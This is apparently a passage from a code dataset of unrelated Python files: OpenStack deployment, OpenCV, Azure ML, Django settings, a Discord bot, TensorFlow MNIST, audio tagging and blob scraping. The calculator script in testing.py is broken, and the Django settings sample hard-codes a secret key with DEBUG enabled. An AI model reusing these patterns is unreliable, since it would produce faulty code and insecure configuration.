\"block-storage\"\n\n if args.node_placement:\n validate_node_placement()\n\n # If node-placement is specified, then the baremetal flavor must\n # be used\n control_flavor = BAREMETAL_FLAVOR\n ceph_storage_flavor = BAREMETAL_FLAVOR\n swift_storage_flavor = BAREMETAL_FLAVOR\n block_storage_flavor = BAREMETAL_FLAVOR\n\n # Validate that the NIC envronment file exists\n nic_env_file = os.path.join(home_dir,\n \"pilot/templates/nic-configs\",\n args.nic_env_file)\n if not os.path.isfile(nic_env_file):\n raise ValueError(\"\\nError: The nic_env_file {} does not \"\n \"exist!\".format(nic_env_file))\n\n # Apply any patches required on the Director itself. This is done each\n # time the overcloud is deployed (instead of once, after the Director\n # is installed) in order to ensure an update to the Director doesn't\n # overwrite the patch.\n # logger.info(\"Applying patches to director...\")\n # cmd = os.path.join(home_dir, 'pilot', 'patch-director.sh')\n # status = os.system(cmd)\n # if status != 0:\n # raise ValueError(\"\\nError: {} failed, unable to continue. See \"\n # \"the comments in that file for additional \"\n # \"information\".format(cmd))\n # Pass the parameters required by puppet which will be used\n # to enable/disable dell nfv features\n # Edit the dellnfv_environment.yaml\n # If disabled, default values will be set and\n # they won't be used for configuration\n # Create ConfigOvercloud object\n print(\"Configure environment file\")\n config = ConfigOvercloud(args.overcloud_name)\n # Remove this when Numa siblings added\n # Edit the dellnfv_environment.yaml\n config.edit_environment_files(\n args.mtu,\n args.enable_hugepages,\n args.enable_numa,\n args.hugepages_size,\n args.hostos_cpu_count,\n args.ovs_dpdk,\n args.sriov,\n args.hw_offload,\n args.sriov_interfaces,\n nic_env_file,\n args.num_controllers,\n args.num_storage,\n control_flavor,\n ceph_storage_flavor,\n swift_storage_flavor,\n block_storage_flavor,\n args.vlan_range,\n args.time_zone,\n args.num_dell_computes,\n args.num_dell_computeshci,\n args.num_powerflex\n )\n\n # Launch the deployment\n overcloud_name_opt = \"\"\n if args.overcloud_name is not None:\n overcloud_name_opt = \"--stack \" + args.overcloud_name\n\n debug = \"\"\n if args.debug:\n debug = \"--debug\"\n\n # The order of the environment files is important as a later inclusion\n # overrides resources defined in prior inclusions.\n\n env_opts = \"\"\n # If there are edge sites we have to use network_data.yaml and\n # it must in as first argument.\n if args.network_data:\n env_opts += \"-n ~/pilot/templates/network_data.yaml \"\n # The roles_data.yaml must be included at the beginning.\n # This is needed to enable the custom role Dell Compute.\n # It overrides the default roles_data.yaml\n env_opts += \"-r ~/pilot/templates/roles_data.yaml\"\n\n # The static-ip-environment.yaml must be included after the\n # network-environment.yaml\n if args.static_ips:\n env_opts += \" -e ~/pilot/templates/static-ip-environment.yaml\"\n\n # The static-vip-environment.yaml must be included after the\n # network-environment.yaml\n if args.static_vips:\n env_opts += \" -e ~/pilot/templates/static-vip-environment.yaml\"\n\n # The configure-barbican.yaml must be included after the\n # network-environment.yaml\n if args.barbican_enable:\n env_opts += \" -e ~/pilot/templates/configure-barbican.yaml\"\n\n # The octavia.yaml must be included after the\n # network-environment.yaml\n if args.octavia_enable:\n env_opts += \" -e ~/pilot/templates/octavia.yaml\"\n if args.octavia_user_certs_keys is True:\n env_opts += \" -e ~/pilot/templates/cert_keys.yaml\"\n\n if args.node_placement:\n env_opts += \" -e ~/pilot/templates/node-placement.yaml\"\n\n # The neutron-ovs.yaml must be included before dell-environment.yaml to enable ovs and disable ovn\n # in OSP16.1. In case we need to use OVN in future, please delete this line\n env_opts += \" -e ~/pilot/templates/overcloud/environments/services/neutron-ovs.yaml\"\n\n # The neutron-ovs-dvr.yaml.yaml must be included after the\n # neutron-ovs.yaml\n if args.dvr_enable:\n env_opts += \" -e ~/pilot/templates/neutron-ovs-dvr.yaml\"\n\n # The dell-environment.yaml must be included after the\n # storage-environment.yaml and ceph-radosgw.yaml\n if args.num_powerflex > 0:\n env_opts += \" -e ~/containers-prepare-parameter.yaml\" \\\n \" -e ~/pilot/templates/dell-environment.yaml\"\n else:\n env_opts += \" -e ~/pilot/templates/overcloud/environments/\" \\\n \"storage-environment.yaml\" \\\n \" -e ~/containers-prepare-parameter.yaml\" \\\n \" -e ~/pilot/templates/dell-environment.yaml\"\n\n host_config = False\n if args.enable_hugepages or args.enable_numa:\n env_opts += \" -e ~/pilot/templates/overcloud/environments/\" \\\n \"host-config-and-reboot.yaml\"\n host_config = True\n if args.ovs_dpdk:\n if not args.enable_hugepages or not args.enable_numa:\n raise ValueError(\"Both hugepages and numa must be\" +\n \"enabled in order to use OVS-DPDK\")\n else:\n env_opts += \" -e ~/pilot/templates/neutron-ovs-dpdk.yaml\"\n\n if args.sriov:\n env_opts += \" -e ~/pilot/templates/neutron-sriov.yaml\"\n if args.hw_offload:\n env_opts += \" -e ~/pilot/templates/ovs-hw-offload.yaml\"\n if not host_config:\n env_opts += \" -e ~/pilot/templates/overcloud/environments/\" \\\n \"host-config-and-reboot.yaml\"\n\n if args.enable_dellsc:\n env_opts += \" -e ~/pilot/templates/dellsc-cinder-config.yaml\"\n\n if args.enable_unity:\n env_opts += \" -e ~/pilot/templates/dellemc-unity-cinder-\" \\\n \"container.yaml\"\n env_opts += \" -e ~/pilot/templates/dellemc-unity-cinder-\" \\\n \"backend.yaml\"\n\n if args.enable_unity_manila:\n env_opts += \" -e ~/pilot/templates/unity-manila-container.yaml\"\n env_opts += \" -e ~/pilot/templates/unity-manila-config.yaml\"\n\n if args.enable_powermax:\n if args.powermax_protocol == \"iSCSI\":\n env_opts += \" -e ~/pilot/templates/dellemc-powermax-iscsi-cinder-\" \\\n \"backend.yaml\"\n else:\n env_opts += \" -e ~/pilot/templates/dellemc-powermax-fc-cinder-\" \\\n \"backend.yaml\"\n if args.enable_powermax_manila:\n env_opts += \" -e ~/pilot/templates/powermax-manila-config.yaml\"\n\n if args.num_powerflex > 0:\n env_opts += \" -e ~/pilot/templates/overcloud/environments/powerflex-ansible/powerflex-ansible.yaml\"\n env_opts += \" -e ~/pilot/templates/dellemc-powerflex-cinder-backend.yaml\"\n env_opts += \" -e ~/pilot/templates/custom-dellemc-volume-mappings.yaml\"\n else:\n env_opts += \" -e /usr/share/openstack-tripleo-heat-templates/environments/ceph-ansible/ceph-ansible.yaml\" \\\n \" -e /usr/share/openstack-tripleo-heat-templates/environments/ceph-ansible/ceph-rgw.yaml\"\n \n if args.dashboard_enable:\n env_opts += \" -e /usr/share/openstack-tripleo-heat-templates/environments/ceph-ansible/ceph-dashboard.yaml\"\n env_opts += \" -e ~/pilot/templates/ceph_dashboard_admin.yaml\"\n\n # The network-environment.yaml must be included after other templates\n # for effective parameter overrides (External vlan default route)\n # The network-environment.yaml must be included after the network-isolation.yaml\n env_opts += \" -e ~/pilot/templates/overcloud/environments/\" \\\n \"network-isolation.yaml\" \\\n \" -e ~/pilot/templates/network-environment.yaml\" \\\n \" -e {} \" \\\n \"-e ~/pilot/templates/site-name.yaml\".format(nic_env_file)\n\n cmd = \"cd ;source ~/stackrc; openstack overcloud deploy\" \\\n \" {}\" \\\n \" --log-file ~/pilot/overcloud_deployment.log\" \\\n \" -t {}\" \\\n \" {}\" \\\n \" --templates ~/pilot/templates/overcloud\" \\\n \" {}\" \\\n \" --libvirt-type kvm\" \\\n \" --no-cleanup\" \\\n \" --ntp-server {}\" \\\n \"\".format(debug,\n args.timeout,\n overcloud_name_opt,\n env_opts,\n args.ntp_server_fqdn,\n )\n with open(os.path.join(home_dir, 'pilot', 'overcloud_deploy_cmd.log'),\n 'w') as f:\n f.write(cmd.replace(' -', ' \\\\\\n -'))\n f.write('\\n')\n start = time.time()\n status = run_deploy_command(cmd)\n end = time.time()\n logger.info('\\nExecution time: {} (hh:mm:ss)'.format(\n time.strftime('%H:%M:%S', time.gmtime(end - start))))\n logger.info('Fetching SSH keys...')\n\n update_ssh_config()\n if status == 0:\n horizon_url = finalize_overcloud()\n logger.info(\"\\nDeployment Completed\")\n else:\n horizon_url = None\n\n logger.info('Overcloud nodes:')\n identify_nodes()\n\n if horizon_url:\n logger.info('\\nHorizon Dashboard URL: {}\\n'.format(horizon_url))\n except Exception as err:\n print(sys.stderr, err)\n raise\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/pilot/deploy-overcloud.py","file_name":"deploy-overcloud.py","file_ext":"py","file_size_in_byte":28771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"349420722","text":"import cv2\nimport numpy as np\ndef findCenter():\n\n X = []\n img = cv2.imread('/home/purvikpatel_/catkin_ws/src/img_processing/scripts/image.png', 1)\n hsv = cv2.cvtColor(img,cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv,(88,100,100),(130,255,255))\n inv = cv2.bitwise_not(mask)\n inv = cv2.GaussianBlur(inv,(15,15),0)\n res = cv2.bitwise_and(hsv,hsv,mask = inv)\n kernel = np.ones((5,5),np.uint8)\n res = cv2.erode(res,kernel,iterations=1)\n res = cv2.cvtColor(res,cv2.COLOR_HSV2BGR)\n res = cv2.cvtColor(res,cv2.COLOR_BGR2GRAY)\n\n _, contours , _ = cv2.findContours(res,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n for contour in contours:\n x = cv2.moments(contour)\n if x['m00']!=0:\n cX = int(x['m10']/x['m00'])\n cY = int(x['m01']/x['m00'])\n else:\n cX,cY = 0,0\n X.append(cX)\n X.append(cY)\n \n\n return X\n","sub_path":"image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"371899715","text":"#/usr/bin/python3\nimport math\n\ndef errortest(x, y):\n while True:\n try:\n x = int(input('Number 1: '))\n y = int(input('Number 2: '))\n except ValueError:\n print('Please enter two non-zero positive integers.')\n continue\n else:\n break\n\ndef prim(num_prime):\n for num_prime in range(2,num_prime):\n if all(num_prime%i!=0 for i in range(2, int(math.sqrt(num_prime))+1)):\n print(num_prime)\n\ndef gcd(x,y):\n while y != x:\n if x > y:\n x -= y\n elif y > x:\n y -= x\n print(y)\n\ndef basic(x, y, z):\n if y == '+':\n ans = x + y\n elif y == '-':\n ans = x - y\n elif y == '*':\n ans = x * y\n elif y == '/':\n ans = x / y\n\ndef factorial(n):\n if n == 0:\n return 1\n else:\n return n * factorial(n - 1)\n\nwhile True:\n fun = input('Function: ')\n fun = fun.upper()\n\n if fun == 'BASIC':\n num_1 = float(input('Number 1: '))\n function = str(input('Function: '))\n num_2 = float(input('Number 2: '))\n basic(num_1, function, num_2)\n print(ans)\n","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"307224650","text":"import os\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom tensorflow.keras.models import load_model\n\n\ndef init():\n global model\n global input_width\n global input_height\n\n # AZUREML_MODEL_DIR is an environment variable created during deployment\n model_path = os.path.join(os.environ[\"AZUREML_MODEL_DIR\"], \"model\")\n\n # load the model\n model = load_model(model_path)\n input_width = 244\n input_height = 244\n\n\ndef decode_img(file_path):\n file = tf.io.read_file(file_path)\n img = tf.io.decode_jpeg(file, channels=3)\n img = tf.image.resize(img, [input_width, input_height])\n return img / 255.0\n\n\ndef run(mini_batch):\n images_ds = tf.data.Dataset.from_tensor_slices(mini_batch)\n images_ds = images_ds.map(decode_img).batch(64)\n\n # perform inference\n pred = model.predict(images_ds)\n\n # Compute probabilities, classes and labels\n pred_prob = tf.math.reduce_max(tf.math.softmax(pred, axis=-1)).numpy()\n pred_class = tf.math.argmax(pred, axis=-1).numpy()\n\n return pd.DataFrame(\n {\n \"file\": mini_batch,\n \"class\": pred_class,\n \"probability\": pred_prob,\n }\n )\n","sub_path":"sdk/python/endpoints/batch/deploy-models/imagenet-classifier/code/score-by-batch/batch_driver.py","file_name":"batch_driver.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"524777168","text":"# SECURITY WARNING: keep the secret key used in production secret!\nimport os\n\nfrom quarantined_backend.settings import BASE_DIR\n\nSECRET_KEY = \"%5r@$^)+$$#$%ˆˆ%ˆˆˆˆ%$%%$&ˆˆFFDFDSFSDF@$@#DSSFDZzzzSAe3n%fm_\"\n\n# Database\n# https://docs.djangoproject.com/en/2.2/ref/settings/#databases\n# We do not support sqlite anymore\nDATABASES = {\n \"default\": {\n \"ENGINE\": \"django.contrib.gis.db.backends.postgis\",\n \"NAME\": \"DATABASE_NAME\",\n \"USER\": \"DATABASE_USER\",\n \"PASSWORD\": \"DATABASE_PASSWORD\",\n \"HOST\": \"DATABASE_HOST\",\n \"PORT\": \"\",\n }\n}\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\nSTATIC_URL = \"/static/\"\nSTATIC_ROOT = os.path.join(BASE_DIR, \"static/\")\n\nALLOWED_HOSTS = []\n\nimport sentry_sdk\nfrom sentry_sdk.integrations.django import DjangoIntegration\n\nif not DEBUG:\n sentry_sdk.init(\n dsn=\"sentrydsn\",\n integrations=[DjangoIntegration()],\n # If you wish to associate users to errors (assuming you are using\n # django.contrib.auth) you may enable sending PII data.\n send_default_pii=True,\n )\n\n ANYMAIL = {\"SENDINBLUE_API_KEY\": \"\"}\n DEFAULT_FROM_EMAIL = \"no-reply@quarantine-help.space\"\n SERVER_EMAIL = \"no-reply@quarantine-help.space\"\n","sub_path":"quarantined_backend/local_settings_sample.py","file_name":"local_settings_sample.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"503519542","text":"# -*- coding: utf-8 -*-\nimport pyyandexmusic\nym = pyyandexmusic.YandexMusic()\n\ntrack_resp = ym.search(\"Amon Amarth\")\n# найдем треки по ключевому слову Mozart.\n# Обратите внимание на то, что в случае\n# поисков треков параметр search_type можно не указывать\noffset_track_resp = ym.search(\"Mozart\", offset=2)\n# поскольку результаты по запросу Mozart расположены\n# на более чем 1 странице, необходимо учитывать\n# это разбиение при поиске. Для это используем параметр offset,\n# с помощью которого буду возвращены результаты с учётом смещение\n# в нашем случае на 2 страницы. При этом следует помнить,\n# что нумерация начинается с 0\nartists_resp = ym.search(\"Mozart\", \"artists\")\n# найдем исполнителей по ключевому слову Mozart.\n","sub_path":"example/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"529762462","text":"from discord.ext.commands import Bot\n\n\nclass BaseBot(Bot):\n def __init__(self, config, command_prefix, *args, **kwargs):\n super(BaseBot, self).__init__(command_prefix, *args, **kwargs)\n self.config = config\n self.owner = str(config['owner'])\n\n async def on_ready(self):\n self.load_extension('cmds')\n print('Logged in as {0} {0.id}'.format(self.user))\n\n async def add_role(self, user, role, server=None):\n if not isinstance(user, str):\n user_id = user.id\n server_id = user.server.id\n\n else:\n user_id = user\n server_id = server.id if not isinstance(server, str) else server\n\n role_id = role.id if not isinstance(role, str) else role\n\n await self.http.add_role(server_id, user_id, role_id)\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"484913835","text":"import tensorflow as tf\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nimport input_data\r\nmnist = input_data.read_data_sets('MNIST_data', one_hot=True)\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\ndef add_layer(inputs,in_size,out_size,activation_function = None):\r\n Weights = tf.Variable(tf.random.normal([in_size,out_size]))\r\n biases = tf.Variable(tf.zeros([1,out_size])+0.1)\r\n \r\n Wx_plus_b = tf.matmul(inputs,Weights)+biases\r\n if activation_function is None:\r\n outputs = Wx_plus_b\r\n else:\r\n outputs = activation_function(Wx_plus_b)\r\n return outputs\r\n\r\ndef compute_accuracy(v_xs,v_ys,i):\r\n global prediction\r\n y_pre = sess.run(prediction,feed_dict={xs:v_xs})\r\n ''''x = v_xs[i,:]\r\n print(y.argmax())\r\n img = x.reshape(28,28)\r\n plt.imshow(img)\r\n plt.show()\r\n y = y_pre[i,:]'''\r\n correct_prediction = tf.equal(tf.argmax(y_pre,1),tf.argmax(v_ys,1))\r\n accuracy= tf.reduce_mean(tf.cast(correct_prediction,tf.float32))\r\n result = sess.run(accuracy,feed_dict={xs:v_xs,ys:v_ys})\r\n return result\r\n\r\nxs = tf.compat.v1.placeholder(tf.float32,[None,784])\r\nys = tf.compat.v1.placeholder(tf.float32,[None,10])\r\n\r\nprediction = add_layer(xs, 784, 10, activation_function = tf.nn.softmax)\r\n\r\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(ys*tf.math.log(prediction),\r\n reduction_indices = [1])) #loss\r\ntrain_step = tf.compat.v1.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\r\nsess = tf.compat.v1.Session()\r\n\r\nsess.run(tf.compat.v1.global_variables_initializer())\r\n\r\nfor i in range(1000):\r\n batch_xs,batch_ys = mnist.train.next_batch(100)\r\n #print(batch_ys.shape)\r\n #print(batch_xs.shape)\r\n sess.run(train_step,feed_dict={xs:batch_xs,ys:batch_ys})\r\n if i%50 == 0:\r\n print(compute_accuracy(mnist.test.images,mnist.test.labels,i))\r\n #compute_accuracy(mnist.test.images,mnist.test.labels,i)\r\n","sub_path":"tensorflow_test/eg_3.py","file_name":"eg_3.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"496886393","text":"def appendAndDelete(s, t, k):\n nsame = min(len(s), len(t))\n for i in range(len(t)):\n if s[:i] != t[:i]:\n nsame = i-1\n break\n\n diff = len(s)-nsame + len(t)-nsame\n if (diff <= k and diff%2 == k%2) or len(s) + len(t) < k :\n return 'Yes'\n else:\n return 'No'\n","sub_path":"Problem Solving - Algorithms/Append_and_Delete.py","file_name":"Append_and_Delete.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"217071735","text":"from __future__ import with_statement\n\nimport os\nimport tempfile\n\nfrom django.core.files.base import ContentFile\nfrom django.db import models\nfrom django.test import TestCase\n\nfrom imagekit import utils\nfrom imagekit.lib import Image\nfrom imagekit.models import ImageSpec\nfrom imagekit.processors import Adjust\nfrom imagekit.processors.resize import Crop, SmartCrop\n\n\nclass Photo(models.Model):\n original_image = models.ImageField(upload_to='photos')\n\n thumbnail = ImageSpec([Adjust(contrast=1.2, sharpness=1.1), Crop(50, 50)],\n image_field='original_image', format='JPEG',\n options={'quality': 90})\n\n smartcropped_thumbnail = ImageSpec([Adjust(contrast=1.2, sharpness=1.1), SmartCrop(50, 50)],\n image_field='original_image', format='JPEG',\n options={'quality': 90})\n\n\nclass IKTest(TestCase):\n def generate_image(self):\n tmp = tempfile.TemporaryFile()\n Image.new('RGB', (800, 600)).save(tmp, 'JPEG')\n tmp.seek(0)\n return tmp\n\n def generate_lenna(self):\n \"\"\"\n See also:\n\n http://en.wikipedia.org/wiki/Lenna\n http://sipi.usc.edu/database/database.php?volume=misc&image=12\n\n \"\"\"\n tmp = tempfile.TemporaryFile()\n lennapath = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'assets', 'lenna-800x600-white-border.jpg')\n with open(lennapath, \"r+b\") as lennafile:\n Image.open(lennafile).save(tmp, 'JPEG')\n tmp.seek(0)\n return tmp\n\n def create_photo(self, name):\n photo = Photo()\n img = self.generate_lenna()\n file = ContentFile(img.read())\n photo.original_image = file\n photo.original_image.save(name, file)\n photo.save()\n img.close()\n return photo\n\n def setUp(self):\n self.photo = self.create_photo('test.jpg')\n\n def test_nodelete(self):\n \"\"\"Don't delete the spec file when the source image hasn't changed.\n\n \"\"\"\n filename = self.photo.thumbnail.file.name\n thumbnail_timestamp = os.path.getmtime(filename)\n self.photo.save()\n self.assertTrue(self.photo.thumbnail.storage.exists(filename))\n\n def test_save_image(self):\n photo = Photo.objects.get(id=self.photo.id)\n self.assertTrue(os.path.isfile(photo.original_image.path))\n\n def test_setup(self):\n self.assertEqual(self.photo.original_image.width, 800)\n self.assertEqual(self.photo.original_image.height, 600)\n\n def test_thumbnail_creation(self):\n photo = Photo.objects.get(id=self.photo.id)\n self.assertTrue(os.path.isfile(photo.thumbnail.file.name))\n\n def test_thumbnail_size(self):\n \"\"\" Explicit and smart-cropped thumbnail size \"\"\"\n self.assertEqual(self.photo.thumbnail.width, 50)\n self.assertEqual(self.photo.thumbnail.height, 50)\n self.assertEqual(self.photo.smartcropped_thumbnail.width, 50)\n self.assertEqual(self.photo.smartcropped_thumbnail.height, 50)\n\n def test_thumbnail_source_file(self):\n self.assertEqual(\n self.photo.thumbnail.source_file, self.photo.original_image)\n\n\nclass IKUtilsTest(TestCase):\n def test_extension_to_format(self):\n self.assertEqual(utils.extension_to_format('.jpeg'), 'JPEG')\n self.assertEqual(utils.extension_to_format('.rgba'), 'SGI')\n\n with self.assertRaises(utils.UnknownExtensionError):\n utils.extension_to_format('.txt')\n\n def test_format_to_extension_no_init(self):\n self.assertEqual(utils.format_to_extension('PNG'), '.png')\n self.assertEqual(utils.format_to_extension('ICO'), '.ico')\n\n with self.assertRaises(utils.UnknownFormatError):\n utils.format_to_extension('TXT')\n","sub_path":"tests/core/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375601820","text":"#!/usr/bin/python3\n\"\"\"Starts flask\"\"\"\nfrom flask import Flask, make_response, jsonify\nfrom flask_cors import CORS, cross_origin\nfrom models import storage\nfrom api.v1.views import app_views\nimport os\napp = Flask(__name__)\napp.register_blueprint(app_views)\nhost = os.getenv('HBNB_API_HOST', '0.0.0.0')\nport = os.getenv('HBNB_API_PORT', 5000)\nCORS(app)\n\n\n@app.teardown_appcontext\ndef tear_down(exc=None):\n \"\"\"Tears down the application\"\"\"\n storage.close()\n\n\n@app.errorhandler(404)\ndef not_found(error):\n \"\"\"404 not found response\"\"\"\n return make_response(jsonify({'error': 'Not found'}), 404)\n\nif __name__ == '__main__':\n app.config['JSONIFY_PRETTYPRINT_REGULAR'] = True\n app.run(host=host, port=port, threaded=True)\n","sub_path":"api/v1/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"164878772","text":"from sklearn import preprocessing\nfrom sklearn.linear_model import LogisticRegression\n#from sklearn.cross_validation import train_test_split\nfrom sklearn import metrics \nfrom sklearn.metrics import classification_report\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.svm import SVC\n\ndef logistic_regression(X_train,X_test,y_train,y_test):\n LogReg = LogisticRegression()\n sc = StandardScaler()\n X_train = sc.fit_transform(X_train)\n X_test = sc.transform(X_test)\n LogReg.fit(X_train, y_train)\n y_predL = LogReg.predict(X_test)\n # Print the Accuracy of our Model.\n print('Correct Prediction Logistic Regression (%): ', accuracy_score(y_test, LogReg.predict(X_test), normalize = True) * 100.0)\n return y_predL , LogReg\n\n\ndef svc(X_train,X_test,y_train,y_test):\n sc = StandardScaler()\n X_train = sc.fit_transform(X_train)\n X_test = sc.transform(X_test)\n svc_classifier = SVC(kernel = 'linear', random_state = 0)\n svc_classifier.fit(X_train, y_train)\n y_predS = svc_classifier.predict(X_test)\n # Print the Accuracy of our Model.\n print('Correct Prediction SVC (%): ', accuracy_score(y_test, svc_classifier.predict(X_test), normalize = True) * 100.0)\n return y_predS , svc_classifier\n","sub_path":"Classification_Algo.py","file_name":"Classification_Algo.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"464109161","text":"import talon\n# don't forget to init the library first\n# it loads machine learning classifiers\ntalon.init()\n\nfrom talon import signature\n\n\nmessage = \"\"\"Thanks Sasha, I can't go any higher and is why I limited it to the\nhomepage.\n\nJohn Doe\nvia mobile\"\"\"\n\n\n\n\ntext, signature = signature.extract(message, sender='john.doe@example.com')\n# text == \"Thanks Sasha, I can't go any higher and is why I limited it to the\\nhomepage.\"\n# signature == \"John Doe\\nvia mobile\"\n\nprint(text)\nprint('########')\nprint(signature)\n\n# from talon.signature.bruteforce import extract_signature\n#\n#\n# # message = \"\"\"Wow. Awesome!\n# # --\n# # Bob Smith\"\"\"\n# message = \"\"\"Thanks Sasha, I can't go any higher and is why I limited it to the\n# homepage.\n#\n# John Doe\n# via mobile\"\"\"\n#\n# text, signature = extract_signature(message)\n# print(signature)\n# # text == \"Wow. Awesome!\"\n# # signature == \"--\\nBob Smith\"","sub_path":"extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"71299815","text":"# http://judge.mipt.ru/mipt_cs_on_python3/labs/lab1.html#o3\r\n# http://cs.mipt.ru/python/lessons/lab2.html#o3\r\n\r\n# Упражнение № 3: квадрат\r\n\r\nimport turtle\r\nimport turtle_helper\r\n\r\n\r\ndef main():\r\n wn = turtle_helper.make_window(\"lightgreen\", \"Square\")\r\n t = turtle_helper.make_turtle(\"red\", 2)\r\n size = 100\r\n\r\n for i in range(4):\r\n t.forward(size)\r\n t.left(90)\r\n\r\n\r\n wn.mainloop()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"1_turtle-1/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"176190190","text":"import re\nimport taglib\nimport dbus\nfrom sys import argv\n\n\nRE_SPLIT_PATTERN = '(?: (?=\\())|(?: (?=\\[))|(?: - )'\n\n\ndef get_labels(info):\n s = re.split('(\\W+)', info)\n for i in range(2, len(s)):\n if s[i].isdigit() or s[i].isupper():\n return ''.join(s[0:i - 1]), ''.join(s[i:])\n return '', ''\n\n\ndef method():\n tech_info = kid3.getInformation()\n file_path = kid3.getFileName()\n \n kid3.setFrame(2, 'PICTURE', '')\n kid3.setFrame(2, 'ALBUMARTIST', kid3.getFrame(2, 'ARTIST'))\n\n album_tokens = re.split(RE_SPLIT_PATTERN, kid3.getFrame(2, 'ALBUM'))\n \n index = 1\n while index < len(album_tokens) and album_tokens[index][0] != '[':\n index = index + 1\n index = index - 1\n \n if index > 1:\n disc_title = album_tokens[index - 1]\n if disc_title[0] == '(':\n disc_title = disc_title[1:-1]\n taglib.set_disc_title_frame(kid3, taglib.get_tag_type(tech_info), disc_title)\n for i in range(1, index):\n if album_tokens[i][0] != '(':\n album_tokens[i] = '(' + album_tokens[i] + ')'\n \n #album = ' '.join(album_tokens[0:index])\n original_album = album_tokens[0]\n album = original_album\n kid3.setFrame(2, 'ALBUM', album)\n kid3.setFrame(2, 'ORIGINALALBUM', original_album)\n \n if album_tokens[index][0] == '(':\n tokens2 = album_tokens[index][1:-1].split(', ')\n index2 = 0\n if tokens2[index2].isdigit():\n taglib.switch_date_frames(kid3, tokens2[index2])\n if len(tokens2) == 2:\n is_digital = True\n else:\n index2 = index2 + 1\n is_digital = False\n elif len(tokens2) == 2:\n is_digital = False\n #handle missing release date\n if not is_digital:\n labels = tokens2[index2]\n release_country = tokens2[index2 + 1]\n label, catalog_number = get_labels(labels)\n taglib.set_label_frame(kid3, label)\n taglib.set_release_country_frame(kid3, release_country)\n kid3.setFrame(2, 'CATALOGNUMBER', catalog_number)\n index = index + 1\n \n try:\n media = album_tokens[index][1:-1]\n if media in taglib.MEDIA_SHORT_TO_LONG:\n kid3.setFrame(2, 'MEDIA', taglib.MEDIA_SHORT_TO_LONG[media])\n except IndexError:\n kid3.setFrame(2, 'MEDIA', 'CD')\n \n #taglib.switch_date_frames(kid3, '')\n taglib.set_file_name_from_tag(kid3)\n \n return ''\n \n\nif __name__ == '__main__':\n kid3 = dbus.SessionBus().get_object('net.sourceforge.kid3', '/Kid3')\n taglib.tag_and_rename2(kid3, method, *taglib.get_args(argv))\n","sub_path":"kid3/method3.py","file_name":"method3.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"91895819","text":"#!/usr/bin/env python\n\n# Imports\nimport numpy as np\nimport requests\nfrom bs4 import BeautifulSoup\nfrom azure.storage.blob import BlobServiceClient\nimport yaml\nimport subprocess\nfrom datetime import datetime\nfrom datetime import timedelta\n\n# Constants\nrepodir = '/home/tjc/github/ooicloud/ooi-opendata/'\n\n# Get list of files on raw data server\ndef get_raw_list():\n dates = []\n for i in range(4): # scrape index files from three days ago to present\n dates.append(datetime.now() - timedelta(days=i))\n\n ext = 'mov'\n filelist = []\n\n for date in dates:\n url = 'https://rawdata.oceanobservatories.org/files/RS03ASHS/PN03B/06-CAMHDA301/%i/%02.0f/%02.0f/' % (date.year, date.month, date.day)\n response = requests.get(url)\n if response.ok:\n soup = BeautifulSoup(response.text, 'html.parser')\n filelist = filelist + [url + node.get('href') for node in soup.find_all('a') if node.get('href').endswith(ext)]\n\n return filelist\n\nraw_list = get_raw_list()\n\n# Get list of files on Azure\nwith open(repodir + 'secrets/tjcrone.yml', 'r') as stream:\n keys = yaml.safe_load(stream)\nstorage_account_url = 'https://ooiopendata.blob.core.windows.net'\nblob_service_client = BlobServiceClient(storage_account_url, credential = keys['camhd'])\ncontainer_client = 